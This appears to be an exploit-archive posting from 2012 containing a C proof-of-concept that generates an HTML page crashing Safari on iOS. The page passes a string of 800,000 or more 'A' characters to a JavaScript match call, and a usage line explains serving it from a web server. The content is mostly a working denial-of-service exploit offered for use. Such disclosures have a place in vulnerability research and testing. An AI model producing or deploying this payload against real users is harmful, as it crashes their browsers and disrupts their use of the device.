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Safari On iOS Denial Of Service

Safari On iOS Denial Of Service
Posted Jun 8, 2012
Authored by Larry W. Cashdollar

Proof of concept crash exploit for Safari on iOS that leverage a denial of service vulnerability.

tags | exploit, denial of service, proof of concept
systems | apple
MD5 | d2a4ed3ad5162815b83473100ea8f5c7

Safari On iOS Denial Of Service

Change Mirror Download
/*PoC for Safari crash discovered by
Alberto Ortega @a0rtega, alberto[@]pentbox[.]net

http://www.livehacking.com/category/vulnerability/apple-vulnerability/
This PoC written by
Larry W. Cashdollar http://vapid.dhs.org @lcashdol

This PoC creates an html file to be served out by a normal webserver.
It seems the browsers begin to crash when the output
size is 800000+.
usage: ./safari_crash 800000 /var/www/html/crash.html
*/

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char *argv[])
{

int x = 0;
FILE *fout;
char *payload = "<html>\n<head><title>Crash Safari PoC";
char *payload2="</title></head>\n<script
type=\"text/javascript\">\nvar s = \"PoC\";\ns.match(\"\0";
char *payload3 = "\");\n</script>\n</html>\0";

if (argc < 3)
{
printf
("Safari Crash PoC\nPlease supply buffer length and filename.\nEx
:%s 800000 crash.html\n",
argv[0]);
exit (0);
}
fout = fopen (argv[2], "w");

fprintf (fout, "%s", payload);
fprintf (fout, "Size : %s x A",argv[1]);
fprintf (fout,"%s",payload2);
while (x < atoi (argv[1]))
{
fprintf (fout, "A");
x++;
}

fprintf (fout, "%s", payload3);
fclose (fout);

return (0);
}
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